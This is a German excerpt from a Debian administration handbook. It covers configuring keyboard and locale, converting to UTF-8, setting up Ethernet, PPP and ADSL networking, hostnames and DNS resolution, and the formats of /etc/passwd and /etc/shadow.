Die Datei /etc/environment stellt für die Programme login, gdm und auch ssh die richtigen Umgebungsvariablen bereit, die diese einsetzen sollen.

Diese Anwendungen erzeugen diese Variablen nicht direkt, sondern vielmehr mit Hilfe eines PAM-Moduls (pam_env.so). PAM (Pluggable Authentication Module) ist eine modulare Bibliothek, die die Verfahren für die Authentifizierung, die Sitzungseröffnung und die Passwortverwaltung zusammenfasst. Siehe Section 11.7.3.2, “PAM konfigurieren” für ein Beispiel einer PAM-Konfigurierung.

Die Datei /etc/default/locale funktioniert ähnlich, enthält aber nicht die Umgebungsvariable LANG. Dies bedeutet, dass einige PAM-Benutzer eine Umgebung ohne Lokalisierung erhalten. Es wird allgemein nicht empfohlen, Serverprogramme mit regionalen Parametern auszuführen; dagegen ist es empfehlenswert, bei Programmen, die eine Anwendersitzung eröffnen, die vorgesehenen regionalen Einstellungen zu verwenden.

8.1.2. Die Tastatur einstellen

Bis Debian Lenny wurde die Tastaturbelegung durch zwei verschiedene Systeme gesteuert: für die Befehlszeile console-tools/console-data; für grafische Umgebungen keyboard-configuration. Seit Squeeze sind diese beiden Systeme vereint, und keyboard-configuration steuert die Tastatur sowohl auf der Befehlszeile als auch im grafischen Modus. Der Befehl dpkg-reconfigure keyboard-configuration kann jederzeit dazu benutzt werden, die Tastaturbelegung umzustellen.

Die Fragen sind für die physische Tastaturanordnung wichtig (eine gewöhnliche PC-Tastatur in Deutschland und Österreich wird vom Typ „Generische Tastatur mit 105 Tasten (Intl)“ sein), dann für die zu wählende Belegung (normalerweise „DE“) und schließlich für die Position der AltGr-Taste (rechtes Alt). Schließlich stellt sich die Frage, welche Taste als „Compose-Taste“ verwendet werden soll, die es ermöglicht, Sonderzeichen durch die Kombination mehrerer Tastenanschläge einzugeben. Wenn Sie nacheinander Compose ' e eingeben, erhalten Sie ein E-Akut („é“). Alle diese Kombinationen sind in der Datei /usr/share/X11/locale/en_US.UTF-8/Compose beschrieben (oder einer anderen Datei in Übereinstimmung mit der aktuellen Sprachumgebung, wie sie in der Datei /usr/share/X11/locale/compose.dir festgelegt ist).

Beachten Sie, dass die hier beschriebene Tastaturkonfigurierung für den grafischen Modus nur die Standardbelegung beeinflusst; die GNOME- und KDE-Umgebungen stellen, wie andere auch, bei ihren Systemeinstellungen ein Tastaturkonfigurierungsfenster bereit, das es jedem Anwender ermöglicht, seine eigene Konfiguration zu bekommen. Einige zusätzliche Optionen bezüglich des Verhaltens einiger bestimmter Tasten sind ebenfalls in diesen Konfigurierungsfenstern verfügbar.

8.1.3. Auf UTF-8 umstellen

Die allgemeine Verbreitung von UTF-8 war eine lang erwartete Lösung für verschiedene Probleme im Bereich der Interoperabilität, da es den internationalen Austausch erleichtert und willkürliche Beschränkungen bei Zeichen, die in einem Dokument verwendet werden können, beseitigt. Die einzige Schattenseite ist, dass es durch eine ziemlich schwierige Übergangsphase gehen musste. Da sie nicht vollständig transparent ablaufen konnte (das heißt, dass sie nicht gleichzeitig weltweit stattfinden konnte), waren zwei Umstellungsvorgänge erforderlich: einer beim Dateiinhalt und der andere bei den Dateinamen. Zum Glück ist der Großteil dieser Umstellung inzwischen erledigt, und wir erwähnen sie vor allem als Hinweis.

KULTUR Zeichensalat und Interpretationsfehler

Wenn ein Text ohne Codierungsinformation verschickt (oder gespeichert) wird, kann der Empfänger nicht immer mit Sicherheit sagen, welche Konvention er zur Bestimmung der Bedeutung eines Bytesatzes verwenden soll. Sie können gewöhnlich eine gewisse Vermutung erhalten, indem Sie Statistiken über die Häufigkeit der im Text vorhandenen Werte betrachten, aber das gibt Ihnen nicht immer eine sichere Antwort. Wenn das zum Lesen herangezogene Codierungssystem sich von dem zum Schreiben der Datei verwendeten unterscheidet, werden die Bytes falsch interpretiert, und Sie erhalten bestenfalls bei einigen Zeichen Fehler und schlimmstenfalls etwas völlig Unleserliches.

Wenn zum Beispiel ein französischer Text normal erscheint bis auf die mit Akzenten versehenen Buchstaben und bestimmte Symbole, die stattdessen durch Zeichenfolgen wie „Ã©“, „Ã¨“ oder „Ã§“ angezeigt werden, handelt es sich vermutlich um eine Datei, die in UTF-8 kodiert ist, aber als ISO-8859-1 oder ISO-8859-15 interpretiert wird. Dies ist ein Hinweis auf eine lokale Installation, die noch nicht auf UTF-8 umgestellt ist. Falls Sie dagegen Fragezeichen anstelle von mit Akzenten versehenen Buchstaben sehen - selbst wenn diese Fragezeichen einen Buchstaben zu ersetzen scheinen, der auf einen mit einem Akzent versehenen Buchstaben hätte folgen sollen - ist es wahrscheinlich, dass Ihre Installation bereits für UTF-8 konfiguriert ist, und dass Ihnen ein in Western ISO codiertes Dokument geschickt worden ist.

Soviel zu den „einfachen“ Fällen. Diese treten nur in westlichen Kulturen auf, da Unicode (und UTF-8) entwickelt wurde, um die Gemeinsamkeiten historischer Codierungen in westlichen, auf Latein basierenden Alphabeten zu maximieren, wodurch es möglich ist, Teile des Textes zu erkennen, selbst wenn einige Buchstaben fehlen.

Bei komplexeren Konfigurationen, bei denen es sich zum Beispiel um zwei Umgebungen mit zwei verschiedenen Sprachen handelt, die nicht dasselbe Alphabet verwenden, erhält man häufig völlig unleserliche Ergebnisse - eine Reihe abstrakter Symbole, die nichts miteinander zu tun haben. Dies ist aufgrund ihrer zahlreichen Sprach- und Schriftsysteme vor allem bei asiatischen Sprachen der Fall. Das japanische Wort Mojibake wird zur Bezeichnung dieses Phänomens verwendet. Wenn es auftritt, ist eine Diagnose schwierig, und die einfachste Lösung besteht dann häufig darin, auf beiden Seiten einfach auf UTF-8 umzustellen.

Bei Dateinamen kann die Umstellung recht einfach sein. Das Hilfsprogramm convmv (im gleichnamigen Paket) ist speziell zu diesem Zweck entwickelt worden; es ermöglicht die Umbenennung von Dateien von einer Codierung in eine andere. Die Benutzung dieses Hilfsprogramms ist recht einfach, wir empfehlen jedoch, in zwei Schritten vorzugehen, um Überraschungen zu vermeiden. Das folgende Beispiel zeigt eine UTF-8-Umgebung, die in ISO-8859-15 codierte Verzeichnisnamen enthält, und die Verwendung von convmv zu ihrer Umbenennung.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

Für Dateiinhalte sind die Umwandlungsverfahren wegen der enormen Vielfalt bestehender Dateiformate aufwändiger. Einige Dateiformate enthalten Codierungsinformationen, die die Aufgabe der zu ihrer Behandlung eingesetzten Software erleichtern; in diesen Fällen genügt es, die Dateien zu öffnen und sie unter Vorgabe der Codierung als UTF-8 erneut zu speichern. In anderen Fällen muss man beim Öffnen der Datei ihre ursprüngliche Codierung angeben (ISO-8859-1 oder „Western“, beziehungsweise ISO-8859-15 oder „Western (European)“ je nach Formulierung).

Für einfache Textdateien kann man recode (im gleichnamigen Paket) verwenden, das ein automatisches Umcodieren ermöglicht. Dieses Hilfsprogramm hat zahlreiche Optionen; Sie können daher mit seinem Verhalten herumspielen. Wir empfehlen Ihnen, die Dokumentation zu Rate zu ziehen, entweder die Handbuchseite recode(1) oder die ausführlichere Informationsseite recode.

8.2. Konfigurieren des Netzwerks

ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast).

Die meisten modernen lokalen Netzwerke verwenden das Ethernet-Protokoll, bei dem Daten in kleine Abschnitte, sogenannte „Frames“, unterteilt und dann abschnittsweise über das Kabel übertragen werden. Die Übertragungsgeschwindigkeit reicht von 10 MB/s bei älteren Ethernetkarten bis zu 10 Gb/s bei den neuesten (wobei die üblichste Geschwindigkeit zur Zeit von 100 Mb/s auf 1 Gb/s ansteigt). Die am weitesten verbreiteten Kabel heißen 10BASE-T, 100BASE-T, 1000BASE-T oder 10GBASE-T je nach Durchsatz, den sie verlässlich erreichen können (das T steht für „twisted pair“); diese Kabel haben RJ45-Steckverbindungen. Es gibt auch andere meistens für Geschwindigkeiten über 1 Gb/s verwendete Kabelarten.

Eine IP-Adresse ist eine Zahl, die zur Identifizierung einer Netzwerkschnittstelle eines Rechners in einem lokalen Netzwerk oder im Internet dient. In der gegenwärtig am weitesten verbreiteten IP-Version (IPv4) ist diese Zahl in 32 Bits codiert und wird gewöhnlich in Form von vier durch Punkte getrennte Zahlen dargestellt (z. B. 192.168.0.1), wobei jede Zahl von 0 bis 255 reichen kann (was einem Datenumfang von 8 Bits entspricht). Die nächste Version des Protokolls, IPv6, erweitert den Adressenraum auf 128 Bits, und die Adressen werden normalerweise in Form einer Reihe von hexadezimalen durch Doppelpunkte getrennte Zahlen dargestellt (z. B. 2002:58bf:13bb:0002:0000:0000:0020 oder kurz 2002:58bf:13bb:2::20).

Eine Subnetzmaske (Netzmaske) legt in ihrem Binärcode fest, welcher Teil einer IP-Adresse sich auf das Netzwerk bezieht, während der Rest den Rechner bezeichnet. In dem hier dargestellten Beispiel der Konfigurierung einer statischen IPv4-Adresse lässt die Subnetzmaske 255.255.255.0 (24 „1“en gefolgt von 8 „0“en in binärer Darstellung) erkennen, dass sich die ersten 24 Bits der IP-Adresse auf die Netzwerkadresse beziehen und die übrigen 8 rechnerspezifisch sind. Bei IPv6 werden der besseren Lesbarkeit halber nur die „1“en dargestellt; die Netzmaske eines IPv6-Netzwerks könnte daher etwa 64 lauten.

Die Netzwerkadresse ist eine IP-Adresse, bei der der Teil, der die Rechnernummer bezeichnet, 0 ist. Der Bereich der IPv4-Adressen in einem vollständigen Netzwerk wird häufig in Form der Syntax a.b.c.d/e angegeben, wobei a.b.c.d die Netzwerkadresse und e die Bezeichnung der Bits ist, auf die sich der Netzwerkteil einer IP-Adresse auswirkt. Das Beispielsnetzwerk würde somit 192.168.0.0/24 geschrieben. In IPv6 ist die Syntax ähnlich: 2002:58bf:13bb::/64.

Ein Router ist ein Gerät, das mehrere Netzwerke miteinander verbindet. Aller durch einen Router laufender Datenverkehr wird dem richtigen Netzwerk zugeleitet. Hierzu analysiert der Router ankommende Pakete und leitet sie in Abhängigkeit von der IP-Adresse ihres Ziels weiter. Der Router wird häufig als „Gateway“ bezeichnet; in dieser Konfigurierung fungiert er als ein Gerät, das dabei hilft, über das lokale Netzwerk hinauszugelangen (in ein erweitertes Netzwerk wie zum Beispiel das Internet).

Die spezielle Broadcast-Adresse verbindet alle Stationen eines Netzwerks. Sie wird fast nie „geroutet“ und funktioniert nur innerhalb des betreffenden Netzwerks. Insbesondere bedeutet dies, das ein an den Broadcast adressiertes Datenpaket niemals über den Router läuft.

Dieses Kapitel befasst sich vor allem mit IPv4-Adressen, da sie zur Zeit die am häufigsten verwendeten sind. Die Einzelheiten des IPv6-Protokolls werden in Section 10.5, “IPv6” dargelegt; das Konzept bleibt jedoch das gleiche.

Da das Netzwerk im Laufe der ursprünglichen Installation automatisch konfiguriert wird, enthält die Datei /etc/network/interfaces bereits eine gültige Konfiguration. Eine mit auto beginnende Zeile zeigt eine Liste von Schnittstellen an, die beim Hochfahren automatisch konfiguriert werden. Dies wird häufig eth0 sein, das sich auf die erste Ethernet-Karte bezieht.

8.2.1. Ethernet-Schnittstelle

Falls der Rechner eine Ethernet-Karte hat, muss das mit ihr verbundene Netzwerk durch eine von zwei möglichen Verfahren konfiguriert werden. Die einfachste Methode besteht in der dynamischen Konfigurierung mit DHCP, und sie erfordert einen DHCP-Server im lokalen Netzwerk. Bei ihr kann der gewünschte Hostname angegeben werden, wie er in unten stehendem Beispiel unter hostname angegeben ist. Der DHCP-Server schickt dann die Konfigurierungseinstellungen für das entsprechende Netzwerk.

Example 8.1. DNS-Konfiguration

auto eth0 iface eth0 inet dhcp hostname arrakis

Eine „statische“ Konfiguration muss die Netzwerkeinstellungen fest vorgeben. Hierzu gehören wenigstens die IP-Adresse und die Subnetzmaske; Netzwerk- und Broadcast-Adressen werden manchmal ebenfalls aufgeführt. Ein mit der Außenwelt verbundener Router wird als Gateway spezifiziert.

Example 8.2. Statische Konfiguration

auto eth0 iface eth0 inet static address 192.168.0.3 netmask 255.255.255.0 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

HINWEIS Mehrfache Adressen

Man kann nicht nur mehrere Schnittstellen einer einzelnen physischen Netzwerkkarte zuordnen, sondern auch mehrere IP-Adressen einer Schnittstelle. Wie bereits erwähnt, kann sich eine IP-Adresse per DNS auf eine beliebige Anzahl von Namen beziehen und ein Name auf eine beliebige Anzahl numerischer IP-Adressen.

Wie Sie vermuten, können Konfigurationen recht komplex sein, jedoch werden diese Optionen nur in sehr speziellen Fällen verwendet. Die hier gezeigten Beispiele sind für gewöhnliche Konfigurationen typisch.

8.2.2. Mit PPP über ein PSTN-Modem verbinden

Eine Punkt-zu-Punkt-Verbindung (PPP) stellt eine zeitweilige Verbindung her; sie ist die üblichste Lösung bei Verbindungen über ein Telefonmodem („PSTN-Modem“, da die Verbindung über das öffentliche Telefonnetz läuft).

Für eine Verbindung über ein Telefonmodem ist ein Konto bei einem Zugangsanbieter erforderlich, einschließlich Telefonnummer, Benutzername, Passwort und manchmal des zu verwendenden Authentifizierungsprotokolls. Eine derartige Verbindung wird mit dem Hilfsprogramm pppconfig aus dem gleichnamigen Debian-Paket konfiguriert. Standardmäßig verwendet es die Verbindung des Zugangsanbieters. Falls Sie sich bezüglich des Authentifizierungsprotokolls nicht sicher sind, wählen Sie PAP: es wird von der Mehrheit der Internetanbieter angeboten.

Nach der Konfigurierung ist es möglich, mit dem Befehl pon eine Verbindung herzustellen (indem man den Namen der Verbindung als Parameter angibt, falls der Standardwert provider nicht passt). Die Verbindung wird mit dem Befehl poff beendet. Diese beiden Befehle können vom Root-Benutzer ausgeführt werden oder von jedem anderen Benutzer, der in der dip-Gruppe ist.

HILFSPROGRAMM Verbindung bei Bedarf mit diald

diald ist ein Dienst für Verbindungen bei Bedarf, der automatisch eine Verbindung herstellt, wenn er ein abgehendes IP-Paket entdeckt, und sie nach einer Phase der Inaktivität wieder trennt.

8.2.3. Über ein ADSL-Modem verbinden

Der allgemeine Ausdruck „ADSL-Modem“ bezeichnet eine Vielzahl von Geräten mit sehr unterschiedlichen Funktionen. Die am einfachsten mit Linux zu verwendenden Modems sind solche mit einer Ethernet-Schnittstelle. Sie sind recht beliebt. Internet-Anbieter verleihen (oder vermieten) immer häufiger eine „Box“ mit Ethernet- statt USB-Schnittstellen. Je nach Art des Modems unterscheiden sich die erforderlichen Konfigurierungen stark.

8.2.3.1. Modems, die PPPOE unterstützen

Manche Ethernet-Modems arbeiten mit dem PPPOE-Protokoll (Point to Point Protocol over Ethernet). Das Hilfsprogramm pppoeconf (aus dem gleichnamigen Paket) konfiguriert die Verbindung. Hierzu ändert es die Datei /etc/ppp/peers/dsl-provider mit den angegebenen Einstellungen und speichert die Anmeldeinformation in den Dateien /etc/ppp/pap-secrets und /etc/ppp/chap-secrets. Es wird empfohlen, alle vorgeschlagenen Veränderungen zu akzeptieren.

Sobald die Konfigurierung abgeschlossen ist, können Sie die ADSL-Verbindung mit dem Befehl pon dsl-provider herstellen und mit poff dsl-provider wieder trennen.

TIPP ppp Mit init starten

PPP-Verbindungen über ADSL bestehen per Definition nur vorübergehend. Da sie gewöhnlich nicht nach Zeit abgerechnet werden, gibt es einige Kehrseiten bei der Versuchung, sie immer aufrecht zu erhalten; eine einfache Methode, dies zu tun, besteht in der Verwendung des init-Prozesses zur Steuerung der Verbindung. Hierzu muss nur eine Zeile wie die folgende an das Ende der Datei /etc/inittab angefügt werden, woraufhin init dann jedes Mal die Verbindung wieder herstellt, wenn sie unterbrochen wird.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Die meisten ADSL-Verbindungen werden einmal am Tag unterbrochen, aber diese Methode verringert die Dauer der Unterbrechung.

8.2.3.2. Modems, die PPTP unterstützen

Das Protokoll PPTP (Point-to-Point Tunneling Protocol) wurde von Microsoft entwickelt. Es wurde zu Beginn von ADSL eingesetzt, dann aber schnell durch PPPOE ersetzt. Falls Sie zur Verwendung dieses Protokolls gezwungen werden, schlagen Sie unter Chapter 10, Netzwerk-Infrastruktur im Abschnitt über virtuelle private Netzwerke Einzelheiten zum PPTP nach.

8.2.3.3. Modems, die DHCP unterstützen

Wenn ein Modem über ein Ethernet-Kabel (gekreuztes Kabel) mit dem Rechner verbunden ist, richten Sie normalerweise auf diesem Rechner eine Netzwerkverbindung mit DHCP ein; das Modem fungiert dann automatisch als Gateway und übernimmt das Routing (das heißt, dass es den Netzwerkverkehr zwischen dem Rechner und dem Internet verwaltet).

ZURÜCK ZU DEN GRUNDLAGEN Gekreuztes Kabel für eine direkte Ethernetverbindung

Computer-Netzwerkkarten erwarten den Empfang von Daten auf bestimmten Leitungen des Kabels und senden ihre Daten auf anderen. Wenn Sie einen Rechner mit einem lokalen Netzwerk verbinden, schließen Sie normalerweise ein Kabel (gerade oder gekreuzt) zwischen der Netzwerkkarte und einem Repeater oder Schalter an. Wenn Sie jedoch zwei Rechner direkt miteinander verbinden wollen (ohne einen dazwischenliegenden Schalter oder Repeater), müssen Sie das von der einen Karte ausgesendete Signal zur empfangenen Seite der anderen Karte schicken und umgekehrt. Dies ist der Sinn eines gekreuzten Kabels und der Grund, warum es verwendet wird.

In Frankreich wird diese Methode bei Freebox, Neufbox und Livebox verwendet, den ADSL-Modems, die von den Internetanbietern Free, SFR/Neuf und Wanadoo/Orange bereitgestellt werden. Sie wird auch bei den meisten auf dem Markt befindlichen „ADSL-Routern“ eingesetzt.

8.2.4. Automatische Netzwerkkonfigurierung für mobile Benutzer

Viele Falcot-Ingenieure haben einen tragbaren Rechner, den sie für berufliche Zwecke auch zu Hause benutzen. Die zu verwendende Netzwerk-Konfigurierung ist je nach Ort verschieden. Zu Hause kann es ein (mit einem WEP-Code geschütztes) Wifi-Netzwerk sein, während am Arbeitsplatz ein verkabeltes Netzwerk mit größerer Sicherheit und höherer Bandbreite benutzt wird.

Um zu vermeiden, dass die entsprechenden Netzwerkschnittstellen von Hand verbunden und getrennt werden müssen, haben die Administratoren auf diesen mobilen Rechnern das Paket network-manager installiert. Dieses Programm ermöglicht es einem Anwender, auf einfache Weise über ein Symbol im Benachrichtigungsbereich seiner grafischen Arbeitsumgebung von einem Netzwerk zu einem anderen zu wechseln. Bei einem Klick auf dieses Symbol wird eine Liste der verfügbaren Netzwerke (sowohl der verkabelten als auch der kabellosen) angezeigt, so dass man einfach das Netzwerk auswählen kann, das man benutzen möchte. Das Programm speichert die Konfiguration der Netzwerke, mit denen der Anwender bereits verbunden war, und schaltet automatisch auf das beste verfügbare Netzwerk um, wenn die aktuelle Verbindung abbricht.

Hierzu ist das Programm in zwei Bereiche unterteilt: ein als Root laufender Daemon ist für die Aktivierung und Konfigurierung des Netzwerks zuständig, während eine Benutzerschnittstelle diesen Daemon steuert. Nur Mitglieder der „netdev“-Gruppe haben Zugriff auf dieses Programm.

Der Network-Manager weiß, wie er mit verschiedenen Verbindungsarten (DHCP, manuelle Konfigurierung, lokales Netzwerk) umzugehen hat, aber nur, wenn die Konfigurierung mit diesem Programm erfolgt ist. Daher ignoriert es systematisch alle Netzwerk-Schnittstellen in der Datei /etc/network/interfaces, für die es nicht geeignet ist. Die Einstellungen sind sehr strikt; Einzelheiten stehen in der Datei /usr/share/doc/network-manager/README.Debian. Da der Network-Manager keine genaueren Angaben macht, wenn keine Netzwerkverbindungen angezeigt werden, ist es am einfachsten, aus der Datei /etc/network/interfaces alle Schnittstellen zu löschen, die vom Network-Manager verwaltet werden sollen.

Beachten Sie, dass dieses Programm standardmäßig installiert wird, wenn während der anfänglichen Installation die Programmgruppe „Desktop-Umgebung“ ausgewählt wurde.

ALTERNATIVE Konfigurierung durch ein „Netzwerk-Profil“

Fortgeschrittenere Anwender möchten vielleicht das Paket guessnet zur automatischen Netzwerk-Konfigurierung ausprobieren. Eine Reihe von Test-Skripten bestimmt, welches Netzwerk-Profil aktiviert werden soll und konfiguriert es auch gleich.

Anwender, die ein Netzwerk-Profil lieber von Hand auswählen, werden das Programm netenv bevorzugen, das im Paket gleichen Namens zu finden ist.

8.3. Den Hostnamen einstellen und den Namensservice konfigurieren

Der Sinn der Zuweisung von Namen zu IP-Nummern besteht darin, sie für Menschen leichter merkbar zu machen. Eigentlich bestimmt eine IP-Adresse eine Netzwerk-Schnittstelle, die einem Gerät, wie einer Netzwerkkarte, zugeordnet ist. Da jeder Rechner mehrere Netzwerkkarten haben kann, und jede Karte mehrere Schnittstellen, kann ein einzelner Rechner im Domain-Namenssystem mehrere Namen haben.

Jeder Rechner wird jedoch durch einen offiziellen („kanonischen“) Namen identifiziert, der in der Datei /etc/hostname gespeichert ist und vom Linux-Kernel mit Hilfe von Initialisierungsskripten durch den Befehl hostname bekanntgegeben wird. Die aktuelle Einstellung ist in einem virtuellen Dateisystem verfügbar und kann mit dem Befehl cat /proc/sys/kernel/hostname abgerufen werden.

ZURÜCK ZU DEN GRUNDLAGEN /proc/ und /sys/, virtuelle Dateisysteme

Die Verzeichnisbäume /proc/ und /sys/ werden von „virtuellen“ Dateisystemen erzeugt. Dies ist ein praktisches Verfahren, um (durch das Auflisten virtueller Dateien) Informationen vom Kernel zu erhalten, oder sie (durch das Schreiben in virtuelle Dateien) an ihn zu übermitteln.

Insbesondere /sys/ ist dazu bestimmt, Zugang zu internen Kernelobjekten zu ermöglichen, vor allem solchen, die verschiedene Geräte des Systems darstellen. Der Kernel kann auf diese Weise verschiedene Arten von Informationen anzeigen: den Status jeden Geräts (ob es zum Beispiel im Energiesparmodus ist), ob es ein abnehmbares Gerät ist usw. Beachten Sie, dass es /sys/ erst seit der Kernelversion 2.6 gibt.

Überraschenderweise wird der Domain-Name nicht in dieser Weise verwaltet, sondern ergibt sich aus dem vollständigen Namen des Rechners, der durch Namensauflösung erlangt wird. Sie können ihn in der Datei /etc/hosts ändern; schreiben Sie einfach einen vollständigen Namen für den Rechner an den Anfang der Liste von Namen, die der Adresse des Rechners zugeordnet sind, wie in dem folgenden Beispiel:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Namensauflösung

Das Verfahren zur Namensauflösung in Linux ist modular und kann verschiedene in der Datei /etc/nsswitch.conf aufgeführte Informationsquellen verwenden. Der Eintrag, der sich auf die Namensauflösung bezieht, ist hosts. Standardmäßig enthält es den Ausdruck dns files, der bedeutet, dass das System zunächst in der Datei /etc/hosts nachsieht und dann bei DNS-Servern. NIS/NIS+ und LDAP-Server sind weitere mögliche Quellen.

HINWEIS NSS und DNS

Beachten Sie, dass die Befehle, die eigens dafür gedacht sind, DNS abzufragen (insbesondere host), nicht das Standardverfahren zur Namensauflösung (NSS) verwenden. Dies hat zur Folge, dass sie /etc/nsswitch.conf nicht berücksichtigen und damit /etc/hosts auch nicht.

8.3.1.1. DNS-Server konfigurieren

DNS (Domain Name Service) ist ein verteilter und hierarchischer Dienst, der für Namen die dazugehörigen IP-Adressen ermittelt und umgekehrt. Insbesondere kann er einen menschengerechten Namen wie zum Beispiel www.eyrolles.com in die entsprechende IP-Adresse 213.244.11.247 umwandeln.

Um auf DNS-Informationen zugreifen zu können, muss ein DNS-Server zur Übertragung der Anfragen zur Verfügung stehen. Falcot Corp. hat seinen eigenen, aber ein einzelner Anwender wird eher die DNS-Server seines Internetanbieters nutzen.

Die zu verwendenden DNS-Server sind in der Datei /etc/resolv.conf aufgeführt, jeweils einer pro Zeile, wobei wie im folgenden Beispiel das Stichwort nameserver vor einer IP-Adresse steht.

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

8.3.1.2. Die Datei /etc/hosts

Falls es im lokalen Netzwerk keinen Namensserver gibt, ist es möglich, stattdessen in der Datei /etc/hosts, die normalerweise für lokale Netzwerkrechner reserviert ist, eine kleine Tabelle zu erstellen, in der IP-Adressen und Hostnamen von Rechnern einander zugeordnet sind. Die Syntax dieser Datei ist sehr einfach: jede Zeile enthält eine spezifische IP-Adresse gefolgt von der Liste der ihr zugeordneten Namen (von denen der erste „vollständig ausgewiesen“ ist, das heißt, dass er den Domain-Namen enthält).

Diese Datei ist selbst bei Netzwerkausfällen verfügbar, oder wenn DNS-Server nicht erreichbar sind, ist aber nur dann wirklich nützlich, wenn sie auf alle Rechner des Netzwerks kopiert wurde. Bei der kleinsten Veränderung in den Zuordnungen muss die Datei überall aktualisiert werden. Deshalb enthält /etc/hosts gewöhnlich nur die wichtigsten Einträge.

Diese Datei reicht für ein kleines nicht mit dem Internet verbundenes Netzwerk aus; ab fünf Rechnern ist es aber empfehlenswert, einen richtigen DNS-Server einzurichten.

TIPP DNS umgehen

Da Anwendungen vor einer DNS-Anfrage zunächst in der Datei /etc/hosts nachsehen, kann man dort Informationen ablegen, die sich von dem unterscheiden, was der DNS ausgeben würde, und so die normale DNS-basierte Namensauflösung umgehen.

Hierdurch ist es möglich, im Falle von DNS-Änderungen, die noch nicht verbreitet sind, den Zugang zu einer Webseite mit dem vorgesehenen Namen zu testen, selbst wenn dieser Name der richtigen IP-Adresse noch nicht ordnungsgemäß zugeordnet ist.

Eine weitere Verwendungsmöglichkeit für eine DNS-Umleitung besteht darin, Datenverkehr, der für einen bestimmten Host bestimmt ist, auf einen anderen Rechner umzuleiten. Falls zum Beispiel ein Namensserver dazu konfiguriert ist, Werbebanner zu verschicken, könnte Datenverkehr an einen lokalen Host umgeleitet werden, wodurch diese Werbung umgangen würde und sich eine flüssigere, weniger ablenkende Navigation ergäbe.

8.4. Benutzer- und Gruppendatenbanken

Die Liste der Benutzer ist normalerweise in der Datei /etc/passwd gespeichert, während die Datei /etc/shadow verschlüsselte Passwörter speichert. Beide sind Textdateien in einem recht einfachen Format, das mit einem Texteditor gelesen und geändert werden kann. Jeder Benutzer ist darin in einer Zeile mit mehreren durch einen Doppelpunkt („:“) getrennten Feldern aufgeführt.

HINWEIS Systemdateien editieren

Die in diesem Kapitel erwähnten Systemdateien sind alle reine Textdateien und können mit einem Texteditor editiert werden. Angesichts ihrer Bedeutung für die Funktionalität des Kernsystems empfiehlt es sich, bei ihrer Bearbeitung besondere Vorsicht walten zu lassen. Erstens sollten Sie eine Systemdatei immer kopieren oder sichern, bevor Sie sie öffnen oder verändern. Und zweitens sollten Sie auf Servern und auf Rechnern, bei denen möglicherweise zur gleichen Zeit mehr als eine Person auf dieselbe Datei zugreifen könnte, besondere Maßnahmen zum Schutz vor Dateibeschädigungen treffen.

Hierzu genügt es, den Befehl vipw zum Editieren der Datei /etc/passwd oder vigr zum Editieren der Datei /etc/group zu benutzen. Diese Befehle sperren die entsprechende Datei vor dem Start des Texteditors (standardmäßig vi, es sei denn, dass die Umgebungsvariable EDITOR verändert worden ist). Durch die Option -s ist es bei diesen Befehlen möglich, die entsprechende shadow-Datei zu editieren.

ZURÜCK ZU DEN GRUNDLAGEN Crypt, eine Einwegfunktion

crypt ist eine Einwegfunktion, die eine Zeichenkette (A) derart in eine andere Zeichenkette (B) umwandelt, dass A nicht von B abgeleitet werden kann. Der einzige Weg, A zu bestimmen, besteht darin, alle möglichen Werte auszuprobieren, indem jeder dahingehend überprüft wird, ob seine Umwandlung durch diese Funktion B ergibt oder nicht. Sie verwendet als Eingabe 8 Zeichen (Zeichenkette A) und erzeugt eine Zeichenkette von 13 druckbaren ASCII-Zeichen (Zeichenkette B).

8.4.1. Benutzerliste: /etc/passwd

Hier ist die Liste der Felder in der Datei /etc/passwd:

login, zum Beispiel rhertzog;

password: dies ist ein mit einer Einwegfunktion, entweder mit crypt oder mit md5, verschlüsseltes Passwort. Der besondere Wert „x" bedeutet, dass das verschlüsselte Passwort in der Datei /etc/shadow gespeichert ist;

uid: eine eindeutige Zahl zur Identifizierung jeden Benutzers;

gid: eine eindeutige Zahl für die Hauptgruppe des Benutzers (Debian erstellt standardmäßig für jeden Benutzer eine besondere Gruppe);

GECOS: Datenfeld, das gewöhnlich den vollständigen Namen des Benutzers enthält;

Benutzerverzeichnis, das dem Benutzer zur Speicherung seiner persönlichen Dateien zugewiesen ist (die Umgebungsvariable $HOME verweist üblicherweise hierauf);

bei der Anmeldung auszuführendes Programm. Dies ist gewöhnlich ein Befehlszeileninterpreter (Shell), der dem Benutzer freie Hand lässt. Falls Sie hier /bin/false angeben (das nichts tut und die Steuerung gleich wieder zurück gibt), kann sich der Benutzer nicht anmelden.

ZURÜCK ZU DEN GRUNDLAGEN Unix-Gruppen

Eine Unix-Gruppe ist eine Einheit, die mehrere Benutzer umfasst, so dass diese auf einfache Weise Dateien unter Verwendung des integrierten Berechtigungssystems gemeinsam benutzen können (wobei sie genau die gleichen Berechtigungen haben). Man kann auch die Verwendung bestimmter Programme auf eine besondere Gruppe begrenzen.

8.4.2. Die versteckte und verschlüsselte Passwortdatei: /etc/shadow

Die Datei /etc/shadow enthält die folgenden Felder:

Anmeldung

verschlüsseltes Passwort;

mehrere Felder zur Verwaltung des Verfalls der Passwörter.

DOKUMENTATION Dateiformate von /etc/passwd, /etc/shadow und /etc/group

Diese Formate sind auf den folgenden Handbuchseiten dokumentiert: passwd(5), shadow(5) und group(5).

SICHERHEIT Dateisicherheit von /etc/shadow

